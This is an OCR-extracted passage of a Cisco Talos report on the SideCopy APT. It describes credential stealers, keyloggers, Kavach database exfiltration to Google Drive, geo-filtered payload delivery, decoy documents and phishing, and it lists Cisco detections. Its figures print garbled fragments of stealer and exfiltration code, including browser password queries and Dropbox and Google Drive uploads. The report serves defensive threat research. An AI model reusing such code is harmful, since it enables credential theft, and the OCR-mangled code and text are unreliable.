C-based stealer that targets Firefox and Chrome. (drivetnto RootDiractory FuliNane, true, oxt)

ch (string text in allFilesFromFolder)

The second credential stealer is CH-based and targets

Chromium-based browsers, including: ”“”‘“r“j” -
each (s in array
* Chrome ° 7Star % (o
flag = true;
*  AVG Browser °*  Amigo ),:ﬂ )
if (!flag
{
° Kinza ° B“Sk str‘eamwrzlte
*  URBrowser * CentBrowser
* AVAST Software * Chedot
es(this.
* SalamWeb * CocCoc
at ") & !
(text2)))
* CCleaner * Elements Browser .
* Opera *  Epic Privacy Browser s, . e(Path.GetTempPath(), "UP\\" +
; . Delete th(), "UP\\" +
*  Yandex * Kometa (text2)))s
*  Slimjet *  Orbitum
°* 360 Browser *  Sputnik
* Comodo Dragon * uCozMedia . )
g Figure 23: Find and save encrypted copy of
e  CoolNovo °  Vivaldi file extensions specified.
H H H i, offset aGoogleCh Us ; "\\Google\\Chrome\\User Data\\Default\\L"...
° Chromlum | ° Slelpnlr 6 rpﬂﬁ\slh ::i o set aGoogle romeUs 00g. roms ser ata au
SRWare Iron Browser . TRt
*  Citrio G e
e Torch Browser et
° Coowon r]ng\zl ezif [esp+5FCh+var_5E4]
h
*  Brave Browser . fes  acx, [esprooonsar_SEC]
Liebao Browser push  ecx
° |r|d|um BroWSer z::: g:::::t;:lectoriginur‘ 5 "SELECT origin_url, username_value, pass"...
° QlP Surf push edx
call sqlite3_prepare_v2
° Opera Neon . dd , 14h
P *  Edge Chromium fest  am eax
jnz loc_4023A2
mov [esp+5FCh+var_5E8], eax
mov eax, [esp+5FCh+pDatalut.cbData]
push offset aW Ha'
push eax ; FileName
call ds:fopen
add esp, 8
mov Stream, eax
test eax, eax
jz loc_40239B
push offset aFromGoogleChro ; "From Google Chrome:\n\n"
push offset aS_2 5 "\n\n%s"
push eax ; Stream
call ds:fprintf
mov ecx, [esp+6@8h+var_5EC]
add esp, @ch
push ecx

call sqlite3_step

Figure 24: C-based browser credential stealer code for obtaining
Chrome login data.
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FIEE, S8 Credentials extracted from any of these browsers installed
on the endpoint are then written to a temporary log file on
g arg = " . .
FileName = i ; disk and subsequently exfiltrated to a DropBox location
g uriString = s t.drop co d"; .
i add = new Uri i
i e (Figure 25).
webClient. [HttpRequestHead a ctet-stream";
webClient.
st heade atl "{e »\"mode\": ad
\ " }", arg, fileName);
webClient.
] array; . . R
(FileStream fileStream = ne eam(filename, FileMode.Open, FileAccess.Read S|deCopy uses two dedicated keyloggers for recording
R keystrokes, the aforementioned Xeytan (Figure 26) and
EREEE I (@ (2 Lavao (Figure 27), which is a custom keylogger first seen
] bytes = webClient.Upl . . . .
@string = s ; around mid-2019 that records timestamps, Window names

and pressed key codes into a log file.

Cisco Talos also discovered a GoLang-based component
we’re calling “Nodachi.”

( , code, wParam, lParam);

(ke

Figure 27: Lavao keylogger collecting keystrokes
and window titles.

Figure 26: Xeytan keystroke recorder used in SideCopy ops.
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How this APT continues to evolve its arsenal

Nodachi is meant for reconnaissance
and stealing different types of data
from the victim’s endpoint:

Credential stealing: The malware
uses the golLazagne library to
steal the login credentials from
the infected endpoint, such as
internet browsers, credential
managers and some sysadmin
tools (Figure 28). Once the login
credentials are obtained, it copies
these files over to the attacker’s
Google Drive.

Steal ‘Kavach’ data: Kavach (hindi
for “Armor”) is an authentication
system used by the Govern-
ment of India’s (Gol) NIC agency.
Kavach provides its users with

an MFA application/client used
for authentication of employees
to access Gol’s IT infrastructure,
such as email. The malware looks
for the “kavach.db” database
containing login credentials of us-
ers in the directory:

C:\Users\<username>\
AppData\Roaming\kavach.db

If found, the file is copied to
the attacker’s Google Drive
(Figure 29).

File lister: The GoLang malware
uses the golLazagne library to lists
all files with specific extensions
on the endpoint: .docx, .doc,
.pptx, .xls and .xml. The files
found are logged into a file that
is then exfiltrated again to the
attackers via Google Drive APIs.
One variant of Nodachi also dis-
played a decoy PDF downloaded
from an attacker-owned Google
Drive link. This decoy document
is the same as the one seen in
one of the latest CetaRAT infec-
tion chains (Figure 30).

© 2021 Cisco. All rights reserved.
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call github_com_kerbyj_golLazagne_wifi_WifiExtractDataRun
mov ecx, [esp+11Ch+var_114]
mov edx, [esp+l1Ch+var_118]
movzx  ebx, byte ptr [esp+liCh+var_11C]
mov ebp, [esp+llCh+var_11@]
test bl, bl
jz loc_6B2AEA
; CODE XREF: github_com_kerbyj_golLazagne_ExtractAllData+1Dolj
mov [esp+11Ch+var_D4], ecx
mov [esp+11Ch+var_B4], edx
mov [esp+11Ch+var_DC], ebp
call github_com_kerbyj_golLazagne_ExtractBrowserCredentials
mov eax, [esp+1lCh+var_11@]
mov [esp+11Ch+var_De], eax
mov ecx, [esp+llCh+var_114]
mov [esp+11Ch+var_Ce], ecx
mov edx, [esp+11Ch+var_118]
mov [esp+11Ch+var_C4], edx
mov ebx, [esp+11Ch+var_11C]
mov [esp+11Ch+var_BC], ebx
nop
call github_com_kerbyj_golLazagne_windows_CredManModuleStart
mov eax, [esp+1lCh+var_11@]
movzx  ecx, byte ptr [esp+llCh+var_11C]
mov edx, [esp+11Ch+var_114]
mov ebx, [esp+11Ch+var_118]
test cl, cl
jz loc_6B2ADF
; CODE XREF: github_com_kerbyj_golLazagne_ExtractAllData+1C5!j
mov [esp+11Ch+var_C8], eax
mov [esp+11Ch+var_CC], edx
mov [esp+11Ch+var_B8], ebx
call github_com_kerbyj_golLazagne_ExtractSysadminData
lea edi, [esp+11Ch+var_B@]
mov esi, esp
call loc_45e11@
call github_com_kerbyj_golLazagne_ExtractMailData
mov eax, [esp+11Ch+var_114]
mov ecx, [esp+11Ch+var_118]
lea eax, aUnableToRetrie+2C63h ; "//AppData//Roaming//kavachdb//kavach.db"...
mov [esp+218h+var_2084], eax
mov [esp+21@h+Public_IP_string_from_ipify], 27h ; '"'
call runtime_concatstring2
mov eax, [esp+21@h+var_1F8]
mov [esp+218h+var_1D8], eax
mov ecx, [esp+21B8h+var_1FC]
mov [esp+218h+var_114], ecx
mov [esp+218h+p_user_sid], ecx
mov [esp+216h+var_20C], eax
call main_fileExists
movzx  eax, byte ptr [esp+218h+var_208]
test al, al
jnz exfiltrate_kavach_db_loc ; decision point based on whether kavach.db exists
v
FEE
exfiltrate_kavach_db_loc:
nop
mov eax, [esp+216h+var_114]
mov [esp+218h+p_user_sid], eax
mov eax, [esp+21@h+var_1D8]
mov [esp+218h+var_20C], eax
mov [esp+21@h+var_208], @
mov [esp+21@h+var_204], @
call os_OpenFile ; open kavach.db
PDF
Tele Vil : | 849KB
010025 Mar
01:00 25 Mar
I Sharing
All HQ Comds

L It has come to notice that various branches of Comd/Fmn HQ are
publishing Part II Orders in r/o JCOs and OR through multiple servers loaded

PUBLICATION OF PART II ORDER : HRMS

Description

talos-external@cisco.com | talosintelligence.com
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Figure 28:
Credential
stealer
functionality.

Figure 29: Look
for kavach.db
and open it.

Figure 30: The
same decoy
document

from CetaRAT
infection chains
is downloaded
and displayed
by Nodachi.
Uploaded to
Google Drive on
March 25, 2021.
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if (Scountry=="1Ind | Scountry=="Fakistan")
{
if (Userinfo::get_os{)=="Windows_7'||UserInfo::get_os()=='Windows_8"'| |UserInfo::get_os()=="Windows_8.1"| |UserInfo::get_os()=="Windows_10')
{
header ("Location:".50s_pckname) ;
1
else if(UserInfo::get_os()=='Linux'||UserInfo::get os()=='Ubuntu’)
{
header ("Location:".50s_pcknamel) ;
i
else
i
heaadar ("Location:publication-of-part-II-order-hrms. zip");
}
}
else
{
header ("Location:publication-of-part-II-order-hrms.zip"™);
}

Figure 31: Country check before serving a specific payload to the requester.

Stxt = "\rhr IpAddress " = _UserInfo::get ip()." "."
fwrite (Smyfile, Stxt);
Stxt = [ ice: "." ".UserlInfo::get device()." "."\r\n";

. FExt);

" ".UserInfo::get_os()." "."\r\n";
txt);
Stxt = er t: "." ".UserInfo::GetMcbileInfo{)." "."\r\n";
fwrite (Smyfile, $txt);
§txt = "Architecture: ." ".UserInfo::get architecture()." "."\r\n";
fwrite (Smyfile, Stxt);
$tXt = "Browser "." "™.UserInfo::get_browse()." "."\r\n";
fwrite (Smyfile, S5Stxt);
$txt = "refer "." ".UserInfo::get_refer()."” "."\r\n";
fwrite (Smyfile, 5txt);
$txt = "refer: "." ".Sdate." "."\r\n";
fwrite (Smyfile, Stxt);
if(1Scity) {
Scity="Not '

i
fwrite ($myfile, Scity);
}
else
{
fwrite (Smyfile, Scity);
}
if(!5country) {
Scountry='Not De
// fwrite(Smyfile,
]
else
{

/! fwrite($myfile, Scountry);
}
folose (Smyfile);

TRACKING AND DELIVERY
INFRASTRUCTURE

SideCopy’s delivery infrastructure consists of either setting
up fake websites or using compromised websites to deliver
malicious artifacts to specific victims.

The delivery scripts verify that requests to receive artifacts/
payloads are from two specific geographies: India and
Pakistan (Figure 31). If this matches, then a payload or
decoy is served to the requester.

All requests are logged to a log file on the delivery server to
keep track of artifacts served to potential victims (Figure 32).

© 2021 Cisco. All rights reserved.
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Figure 32: Victim logging
capability of delivery servers.

The data recorded in the log files consists of the following
requester information:

* Source IP address.

* Device type: tablet, mobile or computer.
*  Operating system name.

*  User-Agent string.

*  Architecture type: 32- or 64-bit.

*  Browser name.

*  Referrer value.

e Timestamp of request.

*  City and country of origin.
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How this APT continues to evolve its arsenal

OBSERVATIONS
AND ANALYSES

SideCopy uses themes predominantly
designed to target military personnel
in the Indian subcontinent. Many of
the LNK files and decoy documents
used in their attacks pose as internal,
operational documents of the Indian
Army.

One infection posed as a seniority
list of the Indian Army as recently as
early 2021 (Figure 33).

Apart from military themes, SideCopy
also utilized publications, calls for
papers/proposals and job openings
related to think tanks in India to target
potential victims.

In one of the infections, the attackers
used a malicious LNK file to deliver
Allakore and CetaRAT to its victims.
This specific attack chain used

a decoy document posing as an
advertisement of a call for proposals
for the Chair of Excellence 2021 for
the Centre For Land and Warfare
Studies (CLAWS) in India (Figure 34).

Interestingly, the same theme

was seen in another recent attack
conducted by the Transparent Tribe
APT to deliver ObliqueRAT payloads
to their victims.

In another instance, we observed the
attackers using a decoy document
consisting of an article published by
the Centre for Joint Warfare Studies
(CENJOWS) in India. The article is

a Geo Strategic Scan from August
2020 discussing the political and
economic implications of resuming
diplomatic talks between the U.S.
and China (Figure 34).
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Tele Mit: | Headquarters

Chief Engineer

9\ Jan 2021
HQ Chief Engineer

HQ Chief Eniineer

HQ Chief Eniineer iAFi

SOUTH WESTERN COMMAND SENIORITY LIST : METER READER (HS)
AS ON 01 JAN 2019

il SWC SL wrt Meter Reader (HS) as on 01 Jan 2019 is fwd herewith as per
Appx ‘A’ to this letter.

2. Please circulate the seniority list to all concerned upto I

check the seniority list thoroughly, meticulously. Discrepancies/corrections, if any,
be pointed out for appropriate action.

3. Consolidated verification report should be fwd to this HQ duly endorsing the

following certificates under the signature of ||| N Vo

establishment/zone:-

(a) Certified that the indls at serial Nos (mention each sl number) in the
seniority list are borne on the strength of this Zone and that the MES No,
Name, Date of Birth, date of 1! appt, existing Pay Band and Grade Pay, date
of subsequent promotion, date of seniority in present gde, category
(SC, ST & Neither) , passing exam PTOs and all other details in respect of
them as entered in the seniority list are correct.

Figure 33: Decoy document related to the Indian Army.

ENVIRONMENT SCAN INT BRIEF

CHINA (Geo-Strat, Geo-Politics & Geo-Economics)
Brig RK Bhutani (Retd)

What to expect as China-US trade talks resume

1. The US and China are due to resume trade talks in the coming days
that last took place in January before tensions escalated.

2. The two economic superpowers have been embroiled in a trade war
since 2018 that has damaged the world economy. In January both countries
agreed to ease restrictions imposed on imported goods from each other.
However, relations have become increasingly strained in the last six months
over a wide range of issues:-

(a) US President Donald Trump has clashed with China recently over
two Chinese apps, TikTok and We Chat, which could be banned in the
US over national security concerns. This is the latest sticking point
between Washington and Beijing;

(b)  China's new national security law for Hong Kong.

(c) Communications firm Huawei and

(d)  The origin of the coronavirus.

(e) These clashes come on top of the already-sensitive trade
relationship between the world's two biggest economies.

(f)  According to Nick Marro, a global trade expert at the Economist
Intelligence Unit (EIU) "Both sides will be doing a temperature check to
see where things stand since January. At the very least, we expect
policymakers in Beijing to now be questioning their commitment to a
trade deal that has done little to protect Chinese companies from US

pressure.” Figure 34: Decoy
document

3. While We Chat, TikTok and Huawei have all come under fire recently,

the Trump administration has added dozens of Chinese companies to masquera_dlng
economic blacklists. as a legitimate
CENJOWS article.

talos-external@cisco.com | talosintelligence.com
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More recently, an issue brief of the

Observer Research Foundation (ORF,
another independent think tank based

out of India) was used as a decoy
by SideCopy in an attack delivering
njRAT to its victims (Figure 35).

Another attack from 2020 shows
targeting of diplomatic personnel
— those working in embassies
specifically. The decoy document
employed in this case consisted of
a circular from the Indian Ministry
of External Affairs (MEA) to its
employees and attachees. This

infection chain also delivered Allakore

and CetaRAT (Figure 36).

Besides all of these email campaigns

we’ve outlined, SideCopy also
uses honeytraps to lure victims in.
These infections typically consist
of malicious LNK files that display
explicit photos of women. The
infection chain again delivers
CetaRAT and Allakore. We’ve also
observed APT36 (Transparent Tribe)
use these types of honeytraps
extensively in campaigns targeting
members of India’s military with
CrimsonRAT.

Also like APT36, SideCopy clones
legitimate websites that actually just
serve malicious content.

In the case of SideCopy, we
discovered afghannewsnetwork[.]
com, a website posing as the
Pajhwok Afghan News, an Afghani
independent news agency (Figure
37). This website was used as

a C2 for actionRAT, delivered
using malicious LNKs that used
decoy documents that looked like
professional resumes - another
targeting tactic closely resembling
APT36 (Transparent Tribe).
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Ministry of External Affairs
(Welfare Division)

New Delhi 30"May, 2020

of children of India-based officials working in Indian
Posts abroad to Engineering Degree Courses in India
during the academic session 2021-22

Dear Mission/Post,

Reference our circulars of even number dated 17" February 2021, 20" March

and 20" April 2021 inviting applications for admission to Engineering Degree
Courses against MEA quota. Circular message from AS(AD) dated 21* January 2021 on
the subject also refers.

2. As in the past, Department of Higher Education, Ministry of Human Resource
Development, have allocated 79 seats to Ministry of External Affairs for the academic
year 2021-22'as per the attached list.

3. The officials who are applying or have applied for admission of their wards, may
kindly indicate their preference of courses and institutions to Welfare Section latest by
15" May 2021 so as to enable us to initiate the admission process. However, if the
SAT Il scores/Class XIl marks are not available by 15" May 2021, the same may
subsequently be provided to the Welfare Section latest by 30" June 2021. Allocation
of seats will be made strictly on merit based on SAT |l scores.

4. As per the MHRD guidelines, minimum qualifying criteria for applying to above
courses would be: (i) SAT Il scores of 1800; and (ii) examination score of GPA of 6.5 or
equivalent in the Class XIl examination, certified by AlU as the equivalent of our 10+2
examination.

5. Based on the merit list drawn, institution & course will be allocated as per
choices indi by the i An i ing higher on merit list would
get higher priority in allotment of course/institution of his/her choice compared to the
applicant appearing lower in the merit list. In case the institute/course of first
preference indicated by the applicant is not available, he/she will be allotted 2™
preference (course/institution ) and so on.

6. Applicants are advised to indicate multiple choices in order of preferences in
respect of institutions and courses. There is no limit to the number of choices that can
be made from the enclosed list. A candidate will be considered only against those
colleges and disciplines which are included in his/her choice.

talos-external@cisco.com | talosintelligence.com

T4dLoO5

Cisco Security Research

Figure 35: ORF decoy

document used in
njRAT infections.

Figure 36: Ministry of
External Affairs Circular

decoy document.
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Figure 37: (Left) malicious cloned website vs. (Right) Legitimate website for the Pajhwok Afghan News.

CREDENTIAL HARVESTING

One of SideCopy’s central motives is credential
harvesting. Specifically, the group looks to steal access
credentials from central Indian government employees.

The group commonly targets Kavach, an MFA app used
across India’s government. Kavach allows employees
(including military personnel) to access IT resources such
as email services.

SideCopy has shown a particular interest in Kavach,
deploying the njRAT malware with special victim IDs of
“kavach.” They also use GoLang-based file recon plugins
(Nodachi) to exfiltrate Kavach authentication databases
from infected devices. Some droppers for MargulasRAT
also masqueraded as installers for Kavach on Windows.

We’ve also discovered phishing portals operated by
SideCopy posing as the Gol’s webmail to trick victims
into divulging their email credentials (Figure 38).
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CONCLUSION

What started as a simple infection vector by SideCopy to
deliver a custom RAT (CetaRAT), has evolved into multiple
variants of infection chains delivering several RATs. The use
of these many infection techniques — ranging from LNK files
to self-extracting RAR EXEs and MSI-based installers — is an
indication that the actor is aggressively working to infect their
victims. This threat actor is also rapidly evolving their malware
set using a combination of custom and commodity RATs and
plugins. The variety of post-infection plugins specifically used
by the attacker signifies a focus on espionage.

Targeting tactics used by SideCopy consists of multiple themes,
quite similar to those utilized by APT36: military, diplomatic and
honeytraps. This indicates that the group continues to target
government entities in the Indian subcontinent.

This boost in SideCopy’s operations aided by multiple
infection chains, RATs and plugins marks the group’s intent
to rapidly evolve their TTPs.

COVERAGE

Ways our customers can detect and block this threat are
listed below.

Cisco Secure Endpoint (formerly AMP for Endpoints) is
ideally suited to prevent the execution of the malware
detailed in this post. Try Secure Endpoint for free here.

Cisco Secure Web Appliance web scanning prevents
access to malicious websites and detects malware used in
these attacks.

Cisco Secure Email (formerly Cisco Email Security) can
block malicious emails sent by threat actors as part of their
campaign. You can try Secure Email for free here.

Cisco Secure Firewall (formerly Next-Generation Firewall
and Firepower NGFW) appliances such as Threat Defense
Virtual, Adaptive Security Appliance and Meraki MX can
detect malicious activity associated with this threat.

Cisco Secure Network/Cloud Analytics (Stealthwatch/
Stealthwatch Cloud) analyzes network traffic automatically
and alerts users of potentially unwanted activity on every
connected device.

Cisco Secure Malware Analytics (Threat Grid) identifies
malicious binaries and builds protection into all Cisco
Secure products.
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Product Protection

Cisco Secure Endpoint Q
(AMP for Endpoints)

Cloudlock N/A
Cisco Secure Email Q
Cisco Secure Firewall/Secure IPS Q
(Network Security)

Cisco Secure Network Analytics

N/A
(Stealthwatch) /
Cisco Secure Cloud Analytics N/A
(Stealthwatch Cloud)
Cisco Secure Malware Analytics °
(Threat Grid)
Umbrella Q
Cisco Secure Web Appliance Q

(Web Security Appliance)

Umbrella, Cisco’s secure internet gateway (SIG), blocks
users from connecting to malicious domains, IPs and URLs,
whether users are on or off the corporate network. Sign up
for a free trial of Umbrella here.

Cisco Secure Web Appliance (formerly Web Security
Appliance) automatically blocks potentially dangerous sites
and tests suspicious sites before users access them.

Additional protections with context to your specific
environment and threat data are available from the Firewall
Management Center.

Cisco Duo provides multi-factor authentication for users to
ensure only those authorized are accessing your network.

Open-source Snort Subscriber Rule Set customers can stay
up to date by downloading the latest rule pack available for
purchase on Snort.org. SIDs 57842 - 57849 can protect
against the threats outlined in this paper.

Cisco Secure Endpoint users can use Orbital Advanced
Search to run complex OSqueries to see if their endpoints
are infected with this specific threat.
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